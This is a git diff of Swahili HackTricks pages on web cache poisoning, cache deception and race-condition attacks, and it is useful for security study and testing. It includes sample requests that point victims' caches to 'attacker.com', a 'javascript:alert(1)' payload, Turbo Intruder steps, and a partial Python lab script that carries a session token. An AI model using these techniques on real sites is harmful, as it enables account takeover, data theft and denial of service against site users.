[**Hii andika**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) inaeleza jinsi ilivyowezekana kuiba funguo ya API ya OpenAI na URL kama `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` kwa sababu chochote kinacholingana na `/share/*` kitahifadhiwa bila Cloudflare kawaida kurekebisha URL, ambayo ilifanywa wakati ombi lilipofikia seva ya wavuti.
|
||||
[**Maelezo haya**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) yanafafanua jinsi ilivyowezekana kuiba funguo ya API ya OpenAI kwa URL kama `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` kwa sababu chochote kinacholingana na `/share/*` kitahifadhiwa kwenye cache bila Cloudflare kurekebisha URL, ambayo ilifanyika wakati ombi lilipofikia seva ya wavuti.
|
||||
|
||||
### Kutumia vichwa vingi kufaidika na udhaifu wa kujaza cache wa wavuti <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
|
||||
|
||||
Maranyingi utahitaji **kufaidika na pembejeo zisizo na funguo kadhaa** ili uweze kutumia cache. Kwa mfano, unaweza kupata **urekebishaji wazi** ikiwa unaweka `X-Forwarded-Host` kwa kikoa kinachodhibitiwa na wewe na `X-Forwarded-Scheme` kuwa `http`. **Ikiwa** **seva** ina **peleka** maombi yote ya **HTTP** kwa HTTPS **na kutumia kichwa** `X-Forwarded-Scheme` kama jina la kikoa kwa urekebishaji. Unaweza kudhibiti ukurasa unapoelekezwa na urekebishaji.
|
||||
Maranyingi utahitaji **kufaidika na pembejeo zisizo na funguo kadhaa** ili uweze kutumia cache. Kwa mfano, unaweza kupata **urekebishaji wazi** ikiwa unaweka `X-Forwarded-Host` kwa kikoa kinachodhibitiwa na wewe na `X-Forwarded-Scheme` kuwa `http`. **Ikiwa** **seva** inaendeleza **maombi yote ya HTTP** kwenda kwa HTTPS na kutumia kichwa `X-Forwarded-Scheme` kama jina la kikoa kwa urekebishaji. Unaweza kudhibiti ukurasa unapoelekezwa na urekebishaji.
|
||||
```markup
|
||||
GET /resources/js/tracking.js HTTP/1.1
|
||||
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
|
||||
|
@ -112,67 +112,67 @@ Host: vulnerbale.net
|
|||
User-Agent: THE SPECIAL USER-AGENT OF THE VICTIM
|
||||
X-Host: attacker.com
|
||||
```
|
||||
### Kuchexploitisha Kuhifadhi ya Cache ya HTTP kwa Kudanganya Ufisadi wa Ombi la HTTP
|
||||
### Kuchexploitisha Kuharibika kwa Cache ya HTTP kwa Kudanganya Ufisadi wa Ombi la HTTP
|
||||
|
||||
Jifunze hapa kuhusu jinsi ya kutekeleza [mashambulizi ya Kudanganya Kuhifadhi kwa kudanganya Ombi la HTTP](http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-poisoning).
|
||||
Jifunze hapa kuhusu jinsi ya kufanya [mashambulizi ya Kuharibu Cache kwa kudanganya Ufisadi wa Ombi la HTTP](http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-poisoning).
|
||||
|
||||
### Upimaji wa Kiotomatiki kwa Kudanganya Kuhifadhi ya Wavuti
|
||||
### Upimaji wa Kiotomatiki kwa Kuharibu Cache ya Wavuti
|
||||
|
||||
[Skana ya Udhaifu wa Kuhifadhi Wavuti](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) inaweza kutumika kiotomatiki kupima kudanganya kwa kuhifadhi wavuti. Inasaidia njia nyingi tofauti na inaweza kubadilishwa kwa urahisi.
|
||||
[Skana ya Ufisadi wa Cache ya Wavuti](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) inaweza kutumika kupima kiotomatiki kwa kuharibu cache ya wavuti. Inasaidia njia nyingi tofauti na inaweza kubadilishwa kwa urahisi.
|
||||
|
||||
Matumizi ya mfano: `wcvs -u mfano.com`
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Tumia [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kujenga na **kutumia taratibu za kiotomatiki** zinazotumia zana za jamii za **juu zaidi** ulimwenguni.\
|
||||
Tumia [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kujenga na **kutumia kiotomatiki** mifumo ya kazi inayotumia zana za jamii za **juu zaidi** duniani.\
|
||||
Pata Ufikiaji Leo:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
## Mifano ya Kudhaifu
|
||||
## Mifano ya Kudhurika
|
||||
|
||||
### Apache Traffic Server ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577))
|
||||
|
||||
ATS ilipeleka kipande ndani ya URL bila kukiondoa na ikazalisha ufunguo wa hifadhi kwa kutumia tu mwenyeji, njia, na swali (ikipuuza kipande). Kwa hivyo ombi `/#/../?r=javascript:alert(1)` lilipelekwa kwa nyuma kama `/#/../?r=javascript:alert(1)` na ufunguo wa hifadhi haukuwa na mzigo ndani yake, tu mwenyeji, njia, na swali.
|
||||
ATS ilipeleka sehemu ndani ya URL bila kuiondoa na ikazalisha funguo ya cache ikitumia tu mwenyeji, njia, na swali (ikipuuza sehemu). Kwa hivyo ombi `/#/../?r=javascript:alert(1)` lilipelekwa kwa nyuma kama `/#/../?r=javascript:alert(1)` na funguo la cache halikuwa na mzigo ndani yake, tu mwenyeji, njia, na swali.
|
||||
|
||||
### GitHub CP-DoS
|
||||
|
||||
Kutuma thamani mbaya katika kichwa cha aina ya yaliyomo kulizua jibu lililohifadhiwa la 405. Ufunguo wa hifadhi ulikuwa na kuki hivyo ilikuwa inawezekana kushambulia watumiaji wasio na idhini pekee.
|
||||
Kutuma thamani mbaya kwenye kichwa cha aina ya yaliyomo kulizua jibu lililohifadhiwa la 405. Funguo la cache lilikuwa na kuki hivyo ilikuwa inawezekana kushambulia watumiaji wasio na idhini pekee.
|
||||
|
||||
### GitLab + GCP CP-DoS
|
||||
|
||||
GitLab hutumia vikapu vya GCP kuhifadhi yaliyomo tuli. **Vikapu vya GCP** vinaiunga mkono **kichwa `x-http-method-override`**. Kwa hivyo ilikuwa inawezekana kutuma kichwa `x-http-method-override: HEAD` na kudanganya hifadhi kurudisha mwili wa jibu tupu. Pia inaweza kuunga mkono njia `PURGE`.
|
||||
GitLab hutumia vikapu vya GCP kuhifadhi yaliyomo tuli. **Vikapu vya GCP** vinaweza kusaidia **kichwa `x-http-method-override`**. Kwa hivyo ilikuwa inawezekana kutuma kichwa `x-http-method-override: HEAD` na kudanganya cache kurudisha mwili wa jibu tupu. Pia inaweza kusaidia njia ya `PURGE`.
|
||||
|
||||
### Rack Middleware (Ruby on Rails)
|
||||
|
||||
Katika maombi ya Ruby on Rails, mara nyingi hutumiwa Rack middleware. Lengo la msimbo wa Rack ni kuchukua thamani ya kichwa cha **`x-forwarded-scheme`** na kuweka kama mpango wa ombi. Wakati kichwa `x-forwarded-scheme: http` kinatumwa, kuna 301 kuelekeza kwa eneo sawa, ikisababisha uwezekano wa Kukataa Huduma (DoS) kwa rasilimali hiyo. Zaidi ya hayo, maombi yanaweza kutambua kichwa cha `X-forwarded-host` na kupeleka watumiaji kwa mwenyeji ulioelekezwa. Tabia hii inaweza kusababisha kupakia faili za JavaScript kutoka kwenye seva ya mshambuliaji, ikileta hatari ya usalama.
|
||||
Katika maombi ya Ruby on Rails, Rack middleware mara nyingi hutumiwa. Madhumuni ya msimbo wa Rack ni kuchukua thamani ya kichwa cha **`x-forwarded-scheme`** na kuweka kama mpango wa ombi. Wakati kichwa cha `x-forwarded-scheme: http` kinatumwa, kuna mwelekeo wa 301 kwenye eneo sawa, ikisababisha uwezekano wa Kukataa Huduma (DoS) kwa rasilimali hiyo. Zaidi ya hayo, maombi yanaweza kutambua kichwa cha `X-forwarded-host` na kupeleka watumiaji kwenye mwenyeji uliowekwa. Tabia hii inaweza kusababisha kupakia faili za JavaScript kutoka kwenye seva ya mshambuliaji, ikileta hatari ya usalama.
|
||||
|
||||
### 403 na Vikapu vya Kuhifadhi
|
||||
|
||||
Cloudflare hapo awali ilihifadhi majibu ya 403. Kujaribu kupata ufikiaji wa S3 au Blobs za Uhifadhi wa Azure na vichwa vya Uthibitisho visivyo sahihi kungesababisha jibu la 403 lililohifadhiwa. Ingawa Cloudflare imeacha kuhifadhi majibu ya 403, tabia hii inaweza bado kuwepo katika huduma zingine za wakala.
|
||||
Cloudflare hapo awali ilihifadhi majibu ya 403. Kujaribu kupata ufikiaji wa S3 au Blobs za Kuhifadhi za Azure na vichwa visivyo sahihi vya Uthibitisho kungesababisha jibu la 403 lililohifadhiwa. Ingawa Cloudflare imeacha kuhifadhi majibu ya 403, tabia hii inaweza bado kuwepo katika huduma zingine za proksi.
|
||||
|
||||
### Kuingiza Parameta za Kufungwa
|
||||
### Kuingiza Parameta za Kufungua
|
||||
|
||||
Marashi mara nyingi hujumuisha parameta maalum za GET katika ufunguo wa hifadhi. Kwa mfano, Varnish ya Fastly ilihifadhi parameta ya `size` katika maombi. Walakini, ikiwa toleo lililoandikwa kwa URL la parameta (k.m., `siz%65`) pia lilipelekwa na thamani isiyo sahihi, ufunguo wa hifadhi ungejengwa kwa kutumia parameta sahihi ya `size`. Walakini, seva ya nyuma ingeprocess thamani katika parameta iliyoorodheshwa kwa URL. URL-encoding ya parameta ya pili ya `size` ilisababisha kutotumika kwake na hifadhi lakini matumizi yake na seva ya nyuma. Kutoa thamani ya 0 kwa parameta hii kulileta kosa la ombi la 400 linaloweza kuhifadhiwa.
|
||||
Marundo mara nyingi hujumuisha parameta maalum za GET katika funguo la cache. Kwa mfano, Varnish ya Fastly ilihifadhi parameta ya `size` katika maombi. Walakini, ikiwa toleo lililofungwa la parameta (k.m., `siz%65`) pia lilipelekwa na thamani isiyo sahihi, funguo la cache lingejengwa kwa kutumia parameta sahihi ya `size`. Walakini, nyuma itaprocess thamani katika parameta iliyofungwa kwa URL. Kufunga tena parameta ya pili ya `size` kuliongoza kwa kosa la Ombi Baya la 400 linaloweza kuhifadhiwa.
|
||||
|
||||
### Sheria za Wateja wa Mtumiaji
|
||||
|
||||
Baadhi ya watengenezaji wanazuia maombi na wateja wa mtumiaji wanaofanana na zana za trafiki kubwa kama FFUF au Nuclei kusimamia mzigo wa seva. Kwa kujifanya, njia hii inaweza kuleta mapungufu kama vile kudanganya kwa hifadhi na DoS.
|
||||
Baadhi ya watengenezaji wanazuia maombi na wateja wa mtumiaji wanaofanana na zana za trafiki kubwa kama FFUF au Nuclei kusimamia mzigo wa seva. Kwa kujifanya, njia hii inaweza kuleta mapungufu kama kuharibu cache na DoS.
|
||||
|
||||
### Uga wa Kichwa Usio Halali
|
||||
|
||||
[RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) inabainisha wahusika halali katika majina ya vichwa. Vichwa vinavyo wahusika nje ya safu iliyowekwa ya **tchar** inapaswa kimsingi kuzua jibu la 400 Bad Request. Kwa vitendo, seva mara nyingi hazifuati viwango hivi. Mfano muhimu ni Akamai, ambayo inapeleka vichwa na wahusika wasio halali na kuhifadhi kosa lolote la 400, ikiwa tu kichwa cha `cache-control` hakipo. Mfano wa kutumia uligunduliwa ambapo kutuma kichwa na wahusika wasio halali, kama vile `\`, kungesababisha kosa la ombi la 400 linaloweza kuhifadhiwa.
|
||||
[RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) inabainisha wahusika halali katika majina ya vichwa. Vichwa vinavyo wahusika nje ya safu iliyowekwa ya **tchar** inapaswa kuzua jibu la Ombi Baya la 400. Kwa vitendo, seva mara nyingi hazifuati viwango hivi. Mfano muhimu ni Akamai, ambayo inapeleka vichwa na wahusika wasio halali na kuhifadhi kosa lolote la 400, ikiwa tu kichwa cha `cache-control` hakipo. Mfano wa kutumia uligunduliwa ambapo kutuma kichwa na wahusika wasio halali, kama vile `\`, kunaweza kusababisha kosa la Ombi Baya la 400 linaloweza kuhifadhiwa.
|
||||
|
||||
### Kupata vichwa vipya
|
||||
### Kupata Vichwa vipya
|
||||
|
||||
[https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6](https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6)
|
||||
|
||||
## Uduaji wa Kuhifadhi
|
||||
## Uduaji wa Cache
|
||||
|
||||
Lengo la Uduaji wa Kuhifadhi ni kufanya wateja **pakie rasilimali ambazo zitahifadhiwa na hifadhi pamoja na habari zao nyeti**.
|
||||
Lengo la Uduaji wa Cache ni kufanya wateja **pakia rasilimali ambazo zitahifadhiwa na cache pamoja na habari zao nyeti**.
|
||||
|
||||
Kwanza kabisa, elewa kwamba **nyongeza** kama vile `.css`, `.js`, `.png` nk kawaida **imepangwa** kuwa **hifadhiwa** katika **hifadhi.** Kwa hivyo, ikiwa unafikia `www.mfano.com/profile.php/nonexistent.js` hifadhi labda itahifadhi jibu kwa sababu inaona nyongeza ya `.js`. Lakini, ikiwa **programu** inarudia na **maudhui nyeti** ya mtumiaji yaliyohifadhiwa katika _www.mfano.com/profile.php_, unaweza **kuiba** maudhui hayo kutoka kwa watumiaji wengine.
|
||||
Kwanza kabisa, kumbuka kwamba **nyongeza** kama vile `.css`, `.js`, `.png` nk kawaida **imepangwa** kuwa **hifadhiwa** kwenye **cache.** Kwa hivyo, ikiwa unafikia `www.mfano.com/profile.php/nonexistent.js` cache labda itahifadhi jibu kwa sababu inaona nyongeza ya `.js`. Lakini, ikiwa **programu** inarudia na **maudhui nyeti** ya mtumiaji yaliyohifadhiwa katika _www.mfano.com/profile.php_, unaweza **kuiba** maudhui hayo kutoka kwa watumiaji wengine.
|
||||
|
||||
Vitu vingine vya kupima:
|
||||
|
||||
|
@ -184,12 +184,16 @@ Vitu vingine vya kupima:
|
|||
* _Tumia nyongeza zisizojulikana kama_ `.avif`
|
||||
|
||||
Mfano mwingine wazi unaweza kupatikana katika andiko hili: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\
|
||||
Katika mfano huo, inaelezwa kwamba ikiwa unapakia ukurasa usio na maudhui kama _http://www.mfano.com/home.php/non-existent.css_ maudhui ya _http://www.mfano.com/home.php_ (**na habari nyeti za mtumiaji**) yatarejeshwa na seva ya hifadhi itahifadhi matokeo.\
|
||||
Kisha, **mshambuliaji** anaweza kupata _http://www.mfano.com/home.php/non-existent.css_ kwenye kivinjari chao na kuchunguza **habari za siri** za watumiaji waliopata kabla.
|
||||
Katika mfano huo, imeelezwa kwamba ikiwa unapakia ukurasa usio na maudhui kama _http://www.mfano.com/home.php/non-existent.css_ maudhui ya _http://www.mfano.com/home.php_ (**na habari nyeti za mtumiaji**) yatarejeshwa na seva ya cache itahifadhi matokeo.\
|
||||
Kisha, **mshambuliaji** anaweza kupata _http://www.mfano.com/home.php/non-existent.css_ kwenye kivinjari chao na kuchunguza **habari za siri** za watumiaji waliotembelea hapo awali.
|
||||
|
||||
Tambua kwamba **proxxy ya hifadhi** inapaswa kuwa **imepangwa** kuhifadhi faili **kulingana** na **nyongeza** ya faili (_.css_) na sio kulingana na aina ya yaliyomo. Katika mfano _http://www.mfano.com/home.php/non-existent.css_ itakuwa na aina ya yaliyomo ya `text/html` badala ya aina ya mime ya `text/css` (ambayo inatarajiwa kwa faili ya _.css_).
|
||||
Kumbuka kwamba **proksi ya cache** inapaswa kuwa **imepangwa** kuhifadhi faili **kulingana** na **nyongeza** ya faili (_.css_) na sio kulingana na aina ya yaliyomo. Katika mfano _http://www.mfano.com/home.php/non-existent.css_ itakuwa na aina ya yaliyomo ya `text/html` badala ya aina ya mime ya `text/css` (ambayo inatarajiwa kwa faili ya _.css_).
|
||||
|
||||
Jifunze hapa kuhusu jinsi ya kutekeleza [mashambulizi ya Uduaji wa Kuhifadhi kwa kudanganya Ombi la HTTP](http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-deception).
|
||||
Jifunze hapa kuhusu jinsi ya kufanya [mashambulizi ya Uduaji wa Cache kwa kudanganya Ufisadi wa Ombi la HTTP](http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-deception).
|
||||
|
||||
## Zana za Kiotomatiki
|
||||
|
||||
* [**toxicache**](https://github.com/xhzeem/toxicache): Skana ya Golang ya kupata udhaifu wa kuharibu cache ya wavuti kwenye orodha ya URL na kupima njia nyingi za kuingiza.
|
||||
|
||||
## Marejeo
|
||||
|
||||
|
@ -203,13 +207,13 @@ Jifunze hapa kuhusu jinsi ya kutekeleza [mashambulizi ya Uduaji wa Kuhifadhi kwa
|
|||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Tumia [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kujenga na **kutumia taratibu za kiotomatiki** zinazotumia zana za jamii za **juu zaidi** ulimwenguni.\
|
||||
Tumia [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kujenga na **kutumia kiotomatiki** mifumo ya kazi inayotumia zana za jamii za **juu zaidi** duniani.\
|
||||
Pata Ufikiaji Leo:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
<details>
|
||||
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
|
@ -217,4 +221,6 @@ Njia nyingine za kusaidia HackTricks:
|
|||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -3,7 +3,7 @@
|
|||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Tumia [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kujenga na **kutumia mifumo ya kazi** kwa urahisi inayotumia zana za jamii za **juu kabisa** duniani.\
|
||||
Tumia [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kujenga na **kutumia** mchakato wa kiotomatiki ulioendeshwa na zana za **jamii** za **juu kabisa** duniani.\
|
||||
Pata Ufikiaji Leo:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
@ -14,7 +14,7 @@ Pata Ufikiaji Leo:
|
|||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA USAJILI**](https://github.com/sponsors/carlospolop)!
|
||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
@ -28,14 +28,14 @@ Ili kupata uelewa wa kina wa mbinu hii, angalia ripoti ya asili kwenye [https://
|
|||
|
||||
## Kuboresha Mashambulizi ya Hali ya Mashindano
|
||||
|
||||
Kizuizi kikuu katika kutumia mashindano ya hali ni kuhakikisha kuwa maombi mengi yanashughulikiwa wakati huo huo, na **tofauti ndogo sana katika nyakati zao za usindikaji—bora, chini ya 1ms**.
|
||||
Kizuizi kikuu katika kutumia mashindano ya hali ni kuhakikisha kuwa maombi mengi yanashughulikiwa wakati huo huo, na **tofauti ndogo sana katika nyakati zao za usindikaji—ideally, chini ya 1ms**.
|
||||
|
||||
Hapa unaweza kupata baadhi ya mbinu za Kusawazisha Maombi:
|
||||
|
||||
#### Shambulio la Pakiti Moja ya HTTP/2 dhidi ya Synchronization ya Byte ya Mwisho ya HTTP/1.1
|
||||
|
||||
* **HTTP/2**: Inasaidia kutuma maombi mawili kupitia muunganisho mmoja wa TCP, kupunguza athari ya mtikisiko wa mtandao. Walakini, kutokana na tofauti za upande wa seva, maombi mawili hayatoshi kwa kudukua mashindano kwa kawaida.
|
||||
* **HTTP/1.1 'Last-Byte Sync'**: Inawezesha kutuma sehemu kubwa ya maombi 20-30 mapema, ikizuia kipande kidogo, ambacho kisha hutumwa pamoja, kufikia kuwasili kwa wakati mmoja kwenye seva.
|
||||
* **HTTP/2**: Inasaidia kutuma maombi mawili kupitia muunganisho mmoja wa TCP, kupunguza athari ya mtikisiko wa mtandao. Walakini, kutokana na tofauti za upande wa seva, maombi mawili hayawezi kuwa ya kutosha kwa shambulio la hali linaloweza kudumisha.
|
||||
* **HTTP/1.1 'Last-Byte Sync'**: Inawezesha kutuma sehemu kubwa ya maombi 20-30, ikizuia kipande kidogo, ambacho kisha hutumwa pamoja, kufikia kuwasili kwa wakati mmoja kwenye seva.
|
||||
|
||||
**Maandalizi ya Last-Byte Sync** yanajumuisha:
|
||||
|
||||
|
@ -44,23 +44,23 @@ Hapa unaweza kupata baadhi ya mbinu za Kusawazisha Maombi:
|
|||
3. Kulemaza TCP\_NODELAY kutumia algorithm ya Nagle kwa kubatilisha fremu za mwisho.
|
||||
4. Kutuma ping kwa kuchemsha muunganisho.
|
||||
|
||||
Kutuma baadaye fremu zilizofichwa kunapaswa kusababisha kuwasili kwao kwenye pakiti moja, inayoweza kuthibitishwa kupitia Wireshark. Mbinu hii haitumiki kwa faili za tuli, ambazo kawaida hazihusiani na mashambulizi ya RC.
|
||||
Kutuma kwa fremu zilizozuiliwa baadaye inapaswa kusababisha kuwasili kwao kwa pakiti moja, inayoweza kuthibitishwa kupitia Wireshark. Mbinu hii haitumiki kwa faili za tuli, ambazo kawaida hazihusiani na mashambulizi ya RC.
|
||||
|
||||
### Kuzoea Mimarizi ya Seva
|
||||
|
||||
Kuelewa muundo wa lengo ni muhimu. Seva za mbele zinaweza kupeleka maombi kwa njia tofauti, zikiathiri wakati. Kuchemsha mapema upande wa seva, kupitia maombi yasiyo na maana, kunaweza kawaidaisha wakati wa maombi.
|
||||
Kuelewa usanifu wa lengo ni muhimu. Seva za mbele zinaweza kupeleka maombi kwa njia tofauti, zikiathiri wakati. Kupasha joto muunganisho wa upande wa seva mapema, kupitia maombi yasiyo na maana, kunaweza kawaidaisha wakati wa maombi.
|
||||
|
||||
#### Kukabiliana na Kufunga kwa Msingi wa Kikao
|
||||
#### Kushughulikia Kufunga kwa Msingi wa Kikao
|
||||
|
||||
Mifumo kama kushughulikia kikao cha PHP huweka maombi kwa kikao, ikificha mara nyingi udhaifu. Kutumia alama tofauti za kikao kwa kila ombi kunaweza kuzuia suala hili.
|
||||
Mifumo kama kushughulikia kikao cha PHP inaserializa maombi kwa kikao, ikificha mara nyingi udhaifu. Kutumia vitambulisho tofauti vya kikao kwa kila ombi kunaweza kuzunguka suala hili.
|
||||
|
||||
#### Kupita Kikwazo cha Kiwango au Rasilimali
|
||||
|
||||
Ikiwa kuchemsha muunganisho hakufanikiwa, kusababisha kwa makusudi kucheleweshwa kwa kiwango au rasilimali za seva za wavuti kwa kupitia mafuriko ya maombi bandia kunaweza kurahisisha shambulio la pakiti moja kwa kusababisha kucheleweshwa upande wa seva yanayofaa mashindano.
|
||||
Ikiwa kupasha joto kwa muunganisho hakufanikiwa, kusababisha kwa makusudi kuchelewesha kwa kiwango cha seva za wavuti au vikwazo vya rasilimali kupitia mafuriko ya maombi bandia kunaweza kurahisisha shambulio la pakiti moja kwa kusababisha kucheleweshwa kwa upande wa seva yanayofaa mashindano ya hali.
|
||||
|
||||
## Mifano ya Mashambulizi
|
||||
|
||||
* **Tubo Intruder - shambulio la pakiti moja la HTTP2 (kituo 1)**: Unaweza kutuma ombi kwa **Tubo intruder** (`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`), unaweza kubadilisha katika ombi thamani unayotaka kudungua kwa **`%s`** kama katika `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s` na kisha chagua **`examples/race-single-packer-attack.py`** kutoka kwenye menyu ya kunjua:
|
||||
* **Tubo Intruder - shambulio la pakiti moja la HTTP2 (kituo 1)**: Unaweza kutuma ombi kwa **Turbo intruder** (`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`), unaweza kubadilisha katika ombi thamani unayotaka kuvunja kwa **`%s`** kama katika `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s` na kisha chagua **`examples/race-single-packer-attack.py`** kutoka kwenye menyu ya kunjua:
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (4) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -108,17 +108,147 @@ engine.openGate(currentAttempt)
|
|||
* Pia inapatikana katika **Repeater** kupitia chaguo jipya la '**Tuma kikundi kwa pamoja**' katika Burp Suite.
|
||||
* Kwa **kuzidi kikomo**, unaweza tu kuongeza **ombi moja mara 50** katika kikundi.
|
||||
* Kwa **kuwasha uhusiano**, unaweza **kuongeza** mwanzoni mwa **kikundi** baadhi ya **maombi** kwa sehemu isiyo ya kudumu ya seva ya wavuti.
|
||||
* Kwa **kuchelewesha** mchakato **kati ya** kusindika **ombi moja na nyingine** katika hatua 2 za substates, unaweza **kuongeza maombi ya ziada kati ya** maombi hayo yote.
|
||||
* Kwa **kuchelewesha** mchakato **kati ya** kusindika **ombi moja na nyingine** katika hatua 2 za substates, unaweza **kuongeza maombi ya ziada kati ya** maombi yote mawili.
|
||||
* Kwa RC ya **multi-endpoint** unaweza kuanza kutuma **ombi** linaloenda kwenye hali iliyofichwa na kisha **maombi 50** mara baada yake ambayo **yanatumia hali iliyofichwa**.
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Raw BF
|
||||
* **Skripti ya python iliyotuimilifu**: Lengo la skripti hii ni kubadilisha barua pepe ya mtumiaji wakati ikithibitisha mara kwa mara hadi ishara ya uthibitisho wa barua pepe mpya inapofika kwa barua pepe ya mwisho (hii ni kwa sababu katika nambari ilikuwa inaona RC ambapo ilikuwa inawezekana kubadilisha barua pepe lakini uthibitisho kutumwa kwa ile ya zamani kwa sababu ya kigezo kinachoonyesha barua pepe tayari ilikuwa imejazwa na ya kwanza).\
|
||||
Wakati neno "objetivo" linapopatikana katika barua pepe zilizopokelewa tunajua tumepokea ishara ya uthibitisho wa barua pepe iliyobadilishwa na tunamaliza shambulizi.
|
||||
```python
|
||||
# https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun
|
||||
# Script from victor to solve a HTB challenge
|
||||
from h2spacex import H2OnTlsConnection
|
||||
from time import sleep
|
||||
from h2spacex import h2_frames
|
||||
import requests
|
||||
|
||||
Kabla ya utafiti uliopita hizi zilikuwa baadhi ya mizigo iliyotumiwa ambayo ilijaribu tu kutuma pakiti haraka iwezekanavyo kusababisha RC.
|
||||
cookie="session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MiwiZXhwIjoxNzEwMzA0MDY1LCJhbnRpQ1NSRlRva2VuIjoiNDJhMDg4NzItNjEwYS00OTY1LTk1NTMtMjJkN2IzYWExODI3In0.I-N93zbVOGZXV_FQQ8hqDMUrGr05G-6IIZkyPwSiiDg"
|
||||
|
||||
* **Repeater:** Angalia mifano kutoka kwenye sehemu iliyopita.
|
||||
